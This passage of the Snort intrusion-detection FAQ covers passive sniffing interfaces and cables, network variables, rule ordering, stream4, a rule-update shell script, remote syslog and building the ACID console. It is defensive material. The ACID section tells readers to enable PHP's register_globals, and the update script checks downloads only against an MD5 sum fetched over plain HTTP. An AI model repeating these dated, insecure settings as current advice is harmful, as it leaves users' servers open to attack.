+   /13         2,048 Class C       524,288        524,286        255.248.0.0
+
+For more detailed technical information on CIDR, check out the following RFCs:
+
+  * RFC 1517: Applicability Statement for the Implementation of CIDR
+  * RFC 1518: An Architecture for IP Address Allocation with CIDR
+  * RFC 1519: CIDR: An Address Assignment and Aggregation Strategy
+  * RFC 1520: Exchanging Routing Information Across Provider Boundaries in the
+    CIDR Environment
+
+RFCs are available at http://www.rfc-editor.org/rfcsearch.html
+
+2.15 What is the use of the "-r" switch to read tcpdump files?
+
+Used in conjunction with a snort rules file, the tcpdump data can be analyzed
+for hostile content, port scans, or anything else Snort can be used to detect.
+Snort can also display the packets in a decoded format, which many people find
+is easier to read than native tcpdump output.
+
+3 Configuring Snort
+
+3.1 How do I setup snort on a 'stealth' interface?
+
+  *BSD and Linux:
+
+    ifconfig eth1 up
+
+Solaris:
+
+    ifconfig eth1 plumb
+
+    ifconfig eth1 up
+
+NT/W2K/XP:
+
+NOTE: You are at your own risk if you follow these instructions. Editing your
+registry is DANGEROUS and should be done with extreme caution. Follow these
+steps at your OWN risk.
+
+1.  Get your device's hex value. ('snort -W' works for this)
+2.  open Regedt32
+3.  Navigate out to: HKEY_LOCAL_MACHINE\( \backslash \)SYSTEM\( \backslash \)
+    CurrentControlSet\( \backslash \)Services\( \backslash \)Tcpip\( \backslash
+    \)Parameters\( \backslash \)Interfaces\( \backslash \)
+    {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
+4.  Select the network card you wish to setup as the monitoring interface (this
+    will be the {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} value).
+5.  Set IPAddress:REG_MULTI_SZ: to null (Double click on the string, delete
+    data in the Multi-String Editor, then click OK)
+6.  Set SubnetMask:REG_MULTI_SZ: to null (Double click on the string, delete
+    data in the Multi-String Editor, then click OK)
+7.  Set DefaultGateway:REG_MULTI_SZ: to null (Double click on the string,
+    delete data in the Multi-String Editor, then click OK)
+8.  Close the Registry Editor, your changes will be saved automatically.
+9.  In a command prompt, run 'ipconfig' to verify the interface does not have
+    an IP bound to it.
+
+If you do not receive an IP address listing from the interface you modified,
+you are good to go. To run snort with the specified interface, use the -i flag
+such as 'snort -v -d -p -i1'
+
+3.2 How do I setup a receive-only ethernet cable?
+
+Use an ethernet tap, or build your own 'receive-only' ethernet cable. Anyway,
+here is the cable I use:
+
+  * []LAN          Sniffer
+
+     1 ---\   /- 1
+
+     2 --\ |   \- 2
+
+     3 --+-*--- 3
+
+     4 -  |       - 4
+
+     5 -  |       - 5
+
+     6 --*---- 6
+
+     7 -          - 7
+
+     8 -          - 8
+
+Basically, 1 and 2 on the sniffer side are connected, 3 and 6 straight through
+to the LAN. 1 and 2 on the LAN side connect to 3 and 6 respectively. This fakes
+a link on both ends but only allows traffic from the LAN to the sniffer. It
+also causes the 'incoming' traffic to be sent back to the LAN, so this cable
+only works well on a hub. You can use it on a switch but you will get ...err...
+interesting results. Since the switch receives the packets back in on the port
+it sent them out, the MAC table gets confused and after a short while devices
+start to drop off the switch. Works like a charm on a hub though.
+
+Another method which uses a capacitor and should work on 100mbs links:
+
+    http://www.geocities.com/samngms/sniffing_cable
+
+And another:
+
+    The UTP Y-Cable specified by Joe Lyman:
+
+A less noisy option: it involves a couple of cat 5 cables and a single speed
+hub. The idea is to use the rcv cables for the wire going to the sniffer box
+and use the xmit cables from another hub port. This will give you a link light
+and allow your sniffer to rcv only. Cannot xmit because the xmit cables are not
+connected. This has been successfully used on netgear single speed hubs. It
+wont work on dual speed hubs due to the negotiation of speed.
+
+Pin outs. They are reversed in the picture in order to prevent lines from
+crossing, and I only included the pins used.
+
+  * []HUB PORT 1             HUB PORT 2
+
+       -----             -----
+
+       x x r r                r r x x
+
+       6 3 2 1                1 2 3 6
+
+       | | | |                    | |
+
+       | | | ----------- |
+
+       | | -------------
+
+       | |
+
+       | |
+
+       | |
+
+       | |
+
+       6 3 2 1
+
+       r r x x
+
+       ----
+
+       SNIFFER
+
+        x = xmit
+
+        r = rcv
+
+You could make it a single cable by adding a battery to simulate the voltage
+from the xmit cables on the nic, but batteries die.
+
+It's not recommended to cut the transmit side, shunt it to ground (pin 2). Some
+OS's will disable the interface if PIN 1 does not indicate a completed circuit.
+
+3.3 What are HOME_NET and EXTERNAL_NET?
+
+HOME_NET and EXTERNAL_NET are standard variable names that all of the Snort.Org
+rules use. HOME_NET refers to the network(s) that you want to protect, where
+EXTERNAL_NET is the network(s) that you think attacks would come from.
+
+3.4 My network spans multiple subnets. How do I define HOME_NET?
+
+Snort 1.7 supports IP lists. You can assign a number of addresses to a single
+variable. For example:
+
+    var HOME_NET [10.1.1.0/24,192.168.1.0/24]
+
+Note: Not all preprocessors support IP lists at this time. Unless otherwise
+stated, assume that any preprocessor using an IP list variable will use the
+first value as the HOME_NET. The portscan preprocessor is an example. To catch
+all detectable portscans, pass 0.0.0.0/0 in as the first parameter.
+
+    preprocessor portscan: 0.0.0.0/0 5 3 portscan.log
+
+Use the portscan-ignorehosts preprocessor to fine tune and ignore traffic from
+noisy, trusted machines.
+
+3.5 How do I set EXTERNAL_NET?
+
+Many people set EXTERNAL_NET to ``any''.
+
+    var EXTERNAL_NET any
+
+By setting it to ``any'' Snort will alert you on any traffic matching a rule
+coming into or leaving your network.
+
+To cut down on the work that Snort has to do, many people set it to ``not
+HOME_NET''.
+
+    var EXTERNAL_NET !$HOME_NET
+
+This tells Snort to define EXTERNAL_NET as everything except HOME_NET. For most
+people this is the best thing to set it to.
+
+3.6 How can I run snort on multiple interfaces simultaneously.
+
+LINUX: If you aren't running snort on linux 2.1.x/2.2.x kernel (with LPF
+available) the only way is to run multiple instances of snort, one instance per
+interface (with the -i option specifying the interface). However for linux
+2.1.x/2.2.x and higher you can use libpcap library with S. Krahmer's patch
+which allows you to specify 'any' as interface name. In this case snort will be
+able to process traffic coming to all interfaces.
+
+*BSD: Use the ``bridge'' interface to combine your nics into a logical
+interface (bridge0).
+
+3.7 My IP address is assigned dynamically to my interface, can I use snort with
+it?
+
+Yes. With snort 1.7 and later, <interface>_ADDRESS variable is available. The
+value of this variable will be always set to IP address/Netmask of the
+interface which you run snort at. if interface goes down and up again (and an
+IP address is reassigned) you will have to restart Snort. For earlier versions
+of snort numerous scripts to achieve the same result are available.
+
+3.8 I have one network card and two aliases, how can I force snort to "listen"
+on both addresses ?
+
+Since version 1.7, you can specify an IP list like this:
+
+    var HOME_NET [ 192.168.10.0/24, 10.1.1.1/16 ]
+
+3.9 How do I ignore traffic coming from a particular host or hosts?
+
+There are two basic ways to ignore traffic from a host:
+
+  * Pass Rules
+  * BPF Filters
+
+Details:
+
+1.  Pass Rules:
+      + Advantages:
+
+        Gives you rule based control over the packets.
+
+        Puts all your changes into 'one place'-snort.conf.
+      + Disadvantages:
+
+        Reverses the Rule order, can cause some headaches in tracking down
+        problems.
+
+        One poorly written pass rule can 'blind' your whole network.
+
+        The more specific the pass rule is, the more CPU snort needs to process
+        it which may be important on loaded nets.
+      + Example:
+
+        For example to ignore ALL ICMP traffic from host <foo> using a pass
+        rule:
+
+            pass icmp <foo> any -> $HOME_NET any
+
+2.  BPF Filters:
+
+      + Advantages:
+
+        Drops the packet at the BPF interface, which saves on processing.
+
+        Speeds up Snort since it 'never sees' those packets.
+      + Disadvantages:
+
+        Poorly constructed filters can 'blind-side' you.
+      + Example:
+
+        To ignore all traffic from 192.168.0.1:
+
+            snort <commandline options> not host 192.168.0.1
+
+        To ignore all ICMP ECHO-REQUESTS (pings) and ICMP-ECHO REPLY's (ping
+        reply) from host <foo>:
+
+            snort <options> ``not ( (icmp[0] = 8 or icmp[0] = 0) and host <foo>
+            )''
+
+3.10 How do I get Snort to log the packet payload as well as the header?
+
+Use the "-d" command line option to log packet payload, or use the ``-b''
+option to log the full binary packet.
+
+3.11 Why are there no subdirectories under /var/log/snort for IP addresses?
+
+It depends on how your Snort configuration logs. If it logs in binary format,
+you'll have to process the binary log in order to get cleartext. You also might
+have ``-A <foo>'' on the command line. Command line options always take
+override the .conf file.
+
+3.12 Why does the portscan plugin log "stealth" packets even though the host is
+in the portscan-ignorehosts list?
+
+These types of TCP packets are inherently suspicious, no matter where they are
+coming from. The portscan detector was built with the assumption that stealth
+packets should be reported, even from hosts which are not monitored for
+portscanning. An option to ignore "stealth" packets may be added in the future.
+
+3.13 What the heck is a ``Stealth scan''?
+
+A Stealth scan can refer to more than one type of scan.
+
+  * Half-Open or SYN scan-Instead of completing the full TCP
+    three-way-handshake a full connection is not made. A SYN packet is sent to
+    the system and if a SYN/ACK packet is received it is assumed that the port
+    on the system is active. In that case a RST/ACK will be sent which will
+    determined the listening state the system is in. If a RST/ACK packet is
+    received, it is assumed that the port on the system is not active.
+  * FIN scan-According to RFC 793 a system should send back an RST for all TCP
+    ports closed when they receive a FIN packet for a specific port.
+  * XMAS tree scan-According to RFC 793 a system should send back an RST for
+    all TCP ports closed when they receive a FIN/URG/PUSH packet for a specific
+    port.
+  * NULL scan-According to RFC 793 a system should send back an RST for all TCP
+    ports closed when they receive a packet without any specified IP flags for
+    a specific port.
+  * Slow scan-Any of the above scans could be used as a slow scan. A slow scan
+    is when the attacker sends packets at a _very_ slow rate. Sometimes these
+    scans can be conducted over hours, days, or weeks. The idea is since they
+    are so slow, the victim's security measures won't ``notice'' the scan.
+
+3.14 What the heck is a SYNFIN scan?
+
+SYNFIN scans got their name because there are both the SYN and FIN flags set.
+
+3.15 Which takes precedence, commandline or rule file ?
+
+The command line always gets precedence over the rules file. If people want to
+try stuff out quickly without having to manually edit the rules file, they
+should be able to override many things from the command line.
+
+3.16 How does rule ordering work?
+
+FOR 2.0 =>:
+
+Please see the documents on v2.0 at:
+myquotehtmladdnormallinkhttp://www.snort.org/docs/#devel http://www.snort.org/
+docs/#devel
+
+FOR <= 1.9.X: Marty has answered this many times on the snort-users mailing
+list. Here is an excerpt from a post on Thu, 22 Feb 2001 00:31:53 -0500, titled
+"Re: [Snort-users] order of evaluation of rules"
+
+Currently, the data structures that store Snort rule data are the RuleTreeNodes
+(RTN) and the OptTreeNodes (OTN). These data structs are stored in a two
+dimensional linked list structure with the RTNs forming the top row of the
+"Array" and the OTNs forming the columns under the RTNs. Here's an ASCII
+illustration from the infamous "lisapaper":
+
+  * []RTN                   RTN                    RTN          
+
+      -------        -------         ---
+
+     | Chain Header |      | Chain Header |      | Chai
+
+     |              |      |              |      |
+
+     | Src IP       |      | Src IP       |      | Src
+
+     | Dst IP       |--->| Dst IP       |--->| Dst
+
+     | Src Port     |      | Src Port     |      | Src
+
+     | Dst Port     |      | Dst Port     |      | Dst
+
+     |              |      |              |      |
+
+     -------        -------         ---
+
+             |                     |
+
+             |                     |
+
+             |                     |
+
+      OTN   \|/            OTN    \|/
+
+      ----V---       ----V----
+
+     | Chain Option  |    | Chain Option   |
+
+     |               |    |        :       |
+
+     | Content       |             :
+
+     | TCP Flags     |             :
+
+     | ICMP Data     |
+
+     | Payload Size  |
+
+     | etc.          |
+
+     |               |
+
+      --------
+
+             |
+
+             |
+
+             |
+
+       OTN  \|/
+
+      ----V---
+
+     | Chain Option |
+
+     |              |
+
+     | Content      |
+
+     | TCP Flags    |
+
+     | ICMP data    |
+
+     | Payload Size |
+
+     | etc.         |
+
+     |              |
+
+      -------
+
+             |
+
+             |
+
+Rules with similar rule headers (i.e. all the CGI rules, the old stealth port
+scan detection rules, most of the rules that focus on any single service, etc)
+are grouped under a single RTN for the sake of efficiency and the applicable
+OTNs are hung below them. For instance, if you have three rules like this:
+
+    alert tcp any any -> $HOME 80 (content: "foo"; msg: "foo";)
+    alert tcp any any -> $HOME 80 (content: "bar"; msg: "bar";)
+    alert tcp any any -> $HOME 80 (content: "baz"; msg: "baz";)
+
+They all get grouped under the same RTN and the OTNs are "hung" beneath them
+like this:
+
+  * []  RTN                            RTN
+
+     ----------           ----------
+
+    |  SIP: any          |         |  SIP: any          |
+
+    |  SP: any           |---->|  SP: any           |
+
+    |  DIP: $HOME        |         |  DIP: $HOME        |
+
+    |  DP: 80            |         |  DP: 1-1024        |
+
+     ----------           ----------
+
+              |                              |
+
+              |                              |
+
+      OTN    \|/                            \|/
+
+     -----v-----           -----v-----  
+
+    | content: foo       |         | flags: S           |
+
+    | msg: foo           |         | msg: example       |
+
+     ----------           ----------
+
+              |
+
+              |
+
+      OTN    \|/  
+
+     -----v-----
+
+    | flags: S           |
+
+    | msg: Port 80 SYN!  |
+
+     ----------
+
+              |
+
+              |
+
+      OTN    \|/  
+
+     -----v-----
+
+    | content: baz       |
+
+    | msg: baz           |
+
+     ----------
+
+This is an efficient way to do things because we only need to check the data in
+the RTN once with this method. There is actually another dimension to this
+array: the function pointer list. Each node in the "array" has a linked list of
+function pointers attached to it. The functions in this list are the tests that
+need to be done to determine whether the data in the current packet matches the
+current rule node's information. Having this function pointer list gives us
+great efficiency and flexibility: we don't need to perform tests for things the
+current rule doesn't contain (e.g. "any" ports/IPs, packet content on
+non-content rules, etc). It also allows us to analyze the packet with any
+function without having to make major modifications to the whole program (which
+was the case in versions prior to version 1.5).
+
+There are a couple of implications of this architecture. For the sake of this
+discussion on rules ordering, the one we're interested in is that rule order is
+tricky to figure out. For instance
+
+    alert tcp any any -> $HOME 80 (content: "foo"; msg: "foo";)
+    alert tcp any any -> $HOME 1:1024 (flags: S; msg: "example";)
+    alert tcp any any -> $HOME 80 (flags: S; msg: "Port 80 SYN!";)
+    alert tcp any any -> $HOME 80 (content: "baz"; msg: "baz";)
+
+gets built like this:
+
+  * []\begin{verbatim}
+
+           RTN                            RTN 
+     ----------           ---------- 
+
+    |  SIP: any          |         |  SIP: any          |
+
+    |  SP: any           |---->|  SP: any           |
+
+    |  DIP: \$HOME        |         |  DIP: \$HOME        |
+
+    |  DP: 80            |         |  DP: 1-1024        |
+
+    ----------           ----------
+
+              |                              |
+
+              |                              |
+
+     OTN     \|/                            \|/
+
+     -----v-----            -----v----- 
+
+    | content: foo      |         | flags: S           |
+
+    | msg: foo          |         | msg: example       |
+
+    ----------            ----------
+
+              |
+
+              |
+
+      OTN    \|/ 
+
+     -----v-----
+
+    | flags: S           |
+
+    | msg: Port 80 SYN!  |
+
+     ----------
+
+              |
+
+              |
+
+      OTN    \|/ 
+
+     -----v-----
+
+    | content: baz       |
+
+    | msg: baz           |
+
+     ----------
+
+Note that all three of the port 80 rules will be checked before the "1:1024"
+rule due to the order in which the applicable RTN has been created. This is
+because the rules parser builds the first chain header for port 80 traffic and
+sticks it on the rules list, then on the next rule it sees that a new chain
+header is required, so it gets built and put in place. In this case you would
+intuitively expect to get the "example" message and never see the "Port 80 SYN!
+", but the opposite is true.
+
+3.17 How do I configure stream4?
+
+  Stream4 is an entirely new preprocessor that performs two functions:
+
+  * Stateful inspection of TCP sessions
+  * TCP stream reassembly
+
+Marty implemented stream4 out of the desire to have more robust stream
+reassembly capabilities and the desire to defeat the latest "stateless attacks"
+that have been coming out against Snort (c.f. stick and snot). Stream4 is
+written with the intent to let Snort be able to handle performing stream
+reassembly for "enterprise class" users, people who need to track and
+reassemble more than 256 streams simultaneously. Marty optimized the code
+fairly extensively to be robust, stable, and fast. The testing and calculations
+I've performed lead me to be fairly confident that stream4 can provide full
+stream reassembly for several thousand simultaneous connections and stateful
+inspection for upwards of 64,000 simultaneous sessions.
+
+Stream4 is a large and complex piece of code (almost 2000 lines) and there are
+a lot of options associated with its runtime configuration, so I'll go over
+them here.
+
+    preprocessor stream4: [noinspect], [keepstats], [timeout <seconds>],
+    [memcap]
+
+stream4_reassemble defaults:
+
+    Reassemble client: ACTIVE
+    Reassemble server: INACTIVE
+    Reassemble ports: 21 23 25 53 80 143 110 111 513
+    Reassembly alerts: ACTIVE
+
+There is a new command line switch that is used in concert with the stream4
+code, "-z". If the -z switch is specified, Snort will only alert (for TCP
+traffic) on streams that have been established via a three way handshake or
+streams where cooperative bidirectional activity has been observed (i.e. where
+some traffic went one way and something other than a RST or FIN was seen going
+back to the originator). With "-z" turned on, Snort completely ignores
+TCP-based stick/snot "attacks".
+
+3.18 Where does one obtain new/modified rules? How do you merge them in?
+
+New rules can be downloaded via CVS or alternatively may be found at http://
+www.snort.org . There is a mailing list dedicated to snort rules, called
+snort-sigs hosted at Sourceforge. There are some scripts/programs to help you
+with rule management:
+
+  * oinkmaster: It is a simple Perl script to update the ruleset for you.
+
+    http://www.algonet.se/~nitzer/oinkmaster/
+
+  * IDS Policy Manager: It is a win32 application that updates the ruleset
+    using a gui then upload your rulesets via scp.
+
+    http://www.activeworx.com/idspm
+
+  * snortpp: a program to merge multiple files into one master file sorted by
+    SID.
+
+    http://dragos.com/snortpp.tgz
+
+There is also this script that might be useful:
+
+  * []#!/bin/sh
+
+    ###########################################################################
+    ####
+
+    #
+
+    # Das Skript zum Herunterladen und installieren neuer IDS-Signaturen.
+
+    #
+
+    ###########################################################################
+    ####
+
+    MAILTO="admin@mydomain.de"
+
+    MACHINE="machine1"
+
+    #set -x
+
+    SIGS_URL1="http://www.snort.org/dl/signatures/snortrules-stable.tar.gz"
+
+    MD5_URL1="http://www.snort.org/dl/signatures/snortrules-stable.tar.gz.md5"
+
+    WGET="/usr/bin/wget"
+
+    #WGET_PARAMS="-N"
+
+    WGET_PARAMS="-t 3 -T 5 -N -a /etc/snort/snort.log -P /etc/snort"
+
+    # Wget parameters:
+
+    #
+
+    # -t            : Retries (here 3)
+
+    # -N            : Get the file only if newer
+
+    # -a            : Append the log messages to the specified file
+
+    # -P            : Save the file to the specified directory
+
+    # -T            : Timeout
+
+    ECHO="/bin/echo"
+
+    TAR="/bin/tar"
+
+    KILL="/bin/kill"
+
+    PIDOF="/sbin/pidof"
+
+    SNORT="/usr/local/bin/snort"
+
+    SNORTUSER="snort"
+
+    SNORTGROUP="snort"
+
+    KILLSIG="SIGUSR1"
+
+    SERVICE="/sbin/service"
+
+    # Where is the Snort configuration dir:
+
+    RULESPATH="/etc/snort/snortrules"
+
+    SNORTCFGPATH="/etc/snort"
+
+    MD5SUM="/usr/bin/md5sum"
+
+    MD5SUM_PARAMS=""
+
+    # The list of sensor interfacec divided by blanks
+
+    IFACES="eth0"
+
+    ###########################################################################
+    ####
+
+    #                           F U N C T I O N S 
+
+    #
+
+    ###########################################################################
+    ####
+
+    ###########################################################################
+    ####
+
+    #
+     Die Funktion, die Snort fuer alle def. Interfaces auf dem System startet    
+    #
+
+    #
+                                                                                 
+    #
+
+    #
+     Um sie zu erweitern muss man zwei Dinge tun:                                
+    #
+
+    #
+     1. Die Parameterliste von Interfaces erweitern                              
+    #
+
+    # 2. Das Konfigurationsfile unter /etc/snort/
+    snort.conf_ethX anlegen          #
+
+    #
+                                                                                 
+    #
+
+    ###########################################################################
+    ####
+
+    restartsnort() {
+
+    # Restarting Snort for all interfaces
+
+    for i in $IFACES; do
+
+             "$ECHO" "Setting up Snort for interface "$i""
+
+             $ECHO "Restarting Snort..."
+
+             #/usr/bin/killall snort
+
+             if [ -f /var/run/snort_"$i".pid ]
+
+             then
+
+                     PID=$("$PIDOF" "$SNORT")
+
+                     if [ -z "$PID" ]
+
+                     then
+
+                             "$SERVICE" snort restart
+
+                     else
+
+                             #`cat /var/run/snort_"$i".pid`
+
+                            "$ECHO" "Restarting Snort running with PID "$PID" and reloading the rules..."
+
+                            "$KILL" -s "$KILLSIG" "$PID"
+
+                     fi
+
+             else
+
+                     "$ECHO" "No PID file for interface "$i" found under /var/
+    run"
+
+             fi
+
+             "$ECHO" "Starting Snort"
+
+             "$SNORT" -a -b -c "$SNORTCFGPATH""/snort.conf_""$i" -I -D -v 
+
+    -i $i -u "$SNORTUSER" -g "$SNORTGROUP"
+
+             PID=`cat /var/run/snort_"$i".pid`
+
+             "$ECHO" "Snort running now with PID "$PID""
+
+    done
+
+    }
+
+    ###########################################################################
+    ####
+
+    #
+       Die Funktion zum ueberpruefen, ob und wie Snort auf dem System laeuft     
+    #
+
+    ###########################################################################
+    ####
+
+    checksnort() {
+
+    SNORTS=$("$PIDOF" "$SNORT" | wc -w | awk '{print $1}')
+
+    SNORT_PIDS=$(/usr/bin/find /var/run -name snort\_eth[0-9]\.pid -ls | 
+
+    wc -l | awk '{print $1}')
+
+    "$ECHO" "Snort instances counted:  $SNORTS"
+
+    "$ECHO" "Snort PID files found:    $SNORT_PIDS"
+
+    # 1. Fall: Snort laeuft nicht oder PID-File nicht da:
+
+    if [ "$SNORTS" = "0" -o "$SNORT_PIDS" = "0" ]
+
+    then
+
+             "$ECHO" "Snort seems to be down or no PID file there..."
+
+             "$ECHO" "Restarting Snort for all Interfaces..."
+
+             "$SERVICE" snort restart
+
+    fi
+
+    # 2. Fall: Anzahl der Instanzen ungleich der Anzahl der PID-Files
+
+    if [ "$SNORTS" -gt "$SNORT_PIDS" ]
+
+    then
+
+             "$ECHO" "More Snort instances than found PID files..."
+
+             "$ECHO" "Something is wrong outthere..."
+
+             "$ECHO" "Stopping all Snort processes..."
+
+    #        /usr/bin/killall -9 snort
+
+            "$SERVICE" snort stop
+
+            "$ECHO" "Hold on... Restarting Snort now..."
+
+            "$SERVICE" snort restart
+
+    fi
+
+     
+
+    #
+     3. Fall: Anzahl der Instanzen stimmt mit der Anzahl der PID-files ueberein
+
+     
+
+    }
+
+    ###########################################################################
+    ####
+
+    ###########################################################################
+    ####
+
+    getrules() {
+
+    # Get the rules, since we know that they are newer...
+
+    $WGET $WGET_PARAMS $SIGS_URL1
+
+    $WGET $WGET_PARAMS $MD5_URL1
+
+    "$ECHO" "Readout the checksum..."
+
+    # MD5-Summe auslesen
+
+    if [ -f /etc/snort/snortrules-stable.tar.gz.md5 ]
+
+    then
+
+             MD5SUM1=`grep MD5 \
+
+                      /etc/snort/snortrules-stable.tar.gz.md5|awk 
+
+    '{print $4}'`
+
+    else
+
+             "$ECHO" "Error! No MD5-file found"
+
+             exit 1
+
+    fi
+
+    "$ECHO" "Generating our own checksum..."
+
+    # MD5-Summe bilden
+
+    if [ -f /etc/snort/snortrules-stable.tar.gz ]
+
+    then
+
+        MD5SUM2=`md5sum /etc/snort/snortrules-stable.tar.gz|awk '{print $1}'`
+
+    else
+
+             "$ECHO" "Error! No rules file found"
+
+             exit 1
+
+    fi
+
+    if [ "$MD5SUM1" = "$MD5SUM2" ]
+
+    then
+
+             "$ECHO" "The MD5-Checksum fits!"
+
+             "$ECHO" "$MD5SUM1"
+
+             "$ECHO" "$MD5SUM2"
+
+             "$ECHO" "$MD5SUM1" >> /etc/snort/snort.log
+
+             "$ECHO" "$MD5SUM2" >> /etc/snort/snort.log
+
+             "$ECHO" "Proceeding..."
+
+    #        /bin/sleep 1
+
+    else
+
+             "$ECHO" "Error! Wrong checksum! Aborting!"
+
+             "$ECHO" "Install rules manually!"
+
+             "$ECHO" "$MD5SUM1" >> /etc/snort/snort.log
+
+             "$ECHO" "$MD5SUM2" >> /etc/snort/snort.log
+
+             exit 1
+
+    fi
+
+    # Extract the new rules
+
+    if [ -f "/etc/snort/snortrules-stable.tar.gz" ]
+
+    then
+
+             "$ECHO" "Extracting Snort rules..."
+
+             "$TAR" -xzvf /etc/snort/snortrules-stable.tar.gz -C /etc/snort
+
+    else
+
+             "$ECHO" "Lost the file! Something is wrong!"
+
+             "$ECHO" "Aborting!!"
+
+             exit 1
+
+    fi
+
+    # Deleting old rules
+
+    # Existiert das Verzeichnis ueberhaupt?
+
+    if [ -d "$RULESPATH" ]
+
+    then
+
+    #        /bin/rm "$RULESPATH"/*.rules
+
+             /bin/mv -f /etc/snort/rules/*.rules "$RULESPATH"
+
+             /bin/cp -f /etc/snort/rules/classification.config "$SNORTCFGPATH"
+
+    else
+
+             "$ECHO" "Missing rules-directory!"
+
+             "$ECHO" "Aborting!"
+
+             exit 1
+
+    fi
+
+     
+
+    # Cleaning up...
+
+    /bin/rm -rf /etc/snort/rules
+
+    # Give everything to root
+
+    /bin/chown root:root ${RULESPATH}/*
+
+    }
+
+    ###########################################################################
+    ####
+
+    #
+                                    M A I N                                      
+    #
+
+    ###########################################################################
+    ####
+
+    # Error handling first
+
+    FCHK=$(/usr/bin/wget -spider -N -t 3 -T 5 "$SIGS_URL1" -P /etc/snort 2>&1)
+
+    ERR_MSG=$("$ECHO" "$FCHK" | egrep -oi "failed error")
+
+    # Log the error message explicitly
+
+    "$ECHO" "$FCHK" >> /etc/snort/snort.log
+
+    # If there is a word "failed" or "error" we break..
+
+    if [ "$("$ECHO" "$FCHK"| grep -i "failed")" ] || \
+
+       [ "$("$ECHO" "$FCHK"| grep -i "error")" ]
+
+    then
+
+             "$ECHO" "Error getting the files. The server seems to be not available."
+
+             "$ECHO" "Error message:"
+
+             "$ECHO" "$FCHK"
+
+             "$ECHO" "Aborting!"
+
+             exit 0
+
+    fi
+
+     
+
+    "$ECHO" "Checking/getting files..."
+
+    # First extract the wget message
+
+    FCHK=$(/usr/bin/wget -spider -N -t 3 -T 5 "$SIGS_URL1" \
+
+                                  -P /etc/snort 2>&1 | grep "not retrieving")
+
+    /bin/date >> /etc/snort/snort.log
+
+    "$ECHO" "Wget-output:"
+
+    "$ECHO" $FCHK
+
+    # Logging what we've done and when
+
+    "$ECHO" "$FCHK" >> /etc/snort/snort.log
+
+    if [ -z "$FCHK"  ]
+
+    then
+
+             "$ECHO" "The files on the server seem to be newer."
+
+             "$ECHO" "We will get them now..."
+
+             getrules
+
+             # Reload rules
+
+             "$SERVICE" snort reload
+
+    #        restartsnort
+
+    else
+
+    #
+            "$ECHO" "The signature files on the server are older or not newer."
+
+             "$ECHO" "Doing nothing for now..."
+
+             "$ECHO" "Checking if Snort is running...."
+
+             checksnort
+
+             exit 0
+
+    fi
+
+    # Send Email
+
+    "$ECHO" -e "`ls -lA "$RULESPATH"`\n\nSnort running with PID $("$PIDOF"\
+
+                "$SNORT")" | mail -s "Reloaded Snort signatures on $MACHINE"\
+
+                "$MAILTO"
+
+    ###########################################################################
+    ####
+
+    ###########################################################################
+    ####
+
+    exit 0
+
+    #EOF
+
+3.19 How do you get the latest snort via cvs?
+
+  The Snort project's SourceForge CVS repository can be checked out through
+anonymous (pserver) CVS with the following instruction set. The module you wish
+to check out must be specified as the modulename. When prompted for a password
+for anonymous, simply press the Enter key.
+
+    cvs -d:pserver:anonymous@cvs.snort.sourceforge.net:/cvsroot/snort login
+
+    cvs -z3 -d:pserver:anonymous@cvs.snort.sourceforge.net:/cvsroot/snort co
+    snort
+
+Updates from within the module's directory do not need the -d parameter.
+
+3.20 How do I use a remote syslog machine?
+
+Add the syslog switch, -s, and put this statement syslog.conf
+
+    auth.alert         @managmentserverIP
+
+Look at your snort.conf file for more info on the facility and Priority
+settings.
+
+Make sure you have syslogd on management server configured to allow syslog over
+UDP. Under RedHat, you can do this by editing /etc/sysconfig/syslog and adding
+the following line:
+
+    SYSLOGD_OPTIONS="-r -m 0"
+
+This will start syslogd with the mark interval set to 0 (turning it off) and
+set it to receive network connections.
+
+Then restart syslog. ``man syslogd'' for more info. You might also want to
+investigate syslog-ng^[*].
+
+Example invocation of snort:
+
+    /usr/local/bin/snort -c /etc/snort/snort.conf -I -A full -s 192.168.0.2:514
+    -i rl0
+
+Note for Win32 users:
+
+Frank Knobbe wrote a patch for Snort to allow you to use '-s <host>' on the
+command line under Windows without nullifying the snort.conf. In other words,
+Snort still uses all settings from snort.conf but in addition uses the host
+from '-s' to send syslog alerts to. You can find the patch at
+
+    http://www.snort.org/dl/contrib/patches/win32syslog/
+
+3.21 How do I build this ACID thing?
+
+Read carefully through all the docs for each package. Getting ACID to work is a
+lot of work, since it depends on many packages. You need a working Apache, a
+working PHP, a working GD (and the many libraries GD depends on), the ADODB
+package, and Phplot. This is a lot of stuff to configure.
+
+A typical sequence to get this all working on Solaris 8: Use some binary
+packages from a trusted Sun freeware site (sunfreeware.com). The most problems
+were with PHP and the GD library. GD itself needs a bunch of packages and
+libraries to work also. It needs the libpng stuff, the libjpeg stuff (if you
+want jpeg), etc, etc. Read through the readme for GD. So you either need to get
+these and compile them also, or get some binary packages. PHP is the most
+difficult thing to get compiled correctly. The PHP package needs to be compiled
+with lots of "-with" flags for GD to work properly, otherwise it gets lots of
+run-time unresolved reference errors. Just using a "with" for GD isn't
+sufficient. You also need to "with" each library which GD uses also, or PHP
+can't find the functions it needs. Here's the "configure" line you can use to
+get PHP working:
+
+    ./configure --with-mysql --with-apxs=/usr/apache/bin/apxs --with-gd
+    --enable-sockets --with-jpeg-dir=/usr/local/lib --with-png-dir=/usr/local/
+    lib --with-zlib-dir=/usr/local/lib --with-xpm-dir=/usr/local/lib
+
+ These 'with' statements basically have the effect of the Makefile including -L
+and -R statements for each library so that both the compile and run time
+linkers can find all the functions needed to find in the Apache module
+environment. Apache doesn't seem to consult the LD_LIBRARY_PATH when running a
+module (or PHP doesn't, or there's some config item in the Apache conf files,
+but you can just use the "withs").
+
+Basically, you need to work from the bottom up. So you need to obtain/compile
+any libraries that GD needs and install them, and any libraries/packages those
+packages need. Then once you get GD compiled properly and installed, compile
+PHP. Then make a PHP script that calls phpinfo() (this is referenced in the
+ACID install) and carefully examine the page produced. Once satisfied PHP is
+working, then the 'foundation' is ready for the other stuff. Install PHplot and
+run a few of the tests. If they succeed, then install ADODB and ACID, tweak the
+config files, and it should all work. (heh, heh)
+
+Also make sure you read the ACID FAQ on the web site. There's some stuff not in
+the ACID install guide that should probably be there. Namely the fact that the
+PHP "register_globals" option must be turned on in the php.ini file (it's off
+in the default PHP configurations).
+
+ACID FAQ: http://www.andrew.cmu.edu/~rdanyliw/snort/acid_faq.html
+
+4 Rules and Alerts
+
+4.1 Errors loading rules files
+
+Some common ones:
+
+  * ERROR telnet.rules:YYY => Port value missing in rule!
+  * ERROR telnet.rules:YYY => Bad port number: "(msg:"blah"
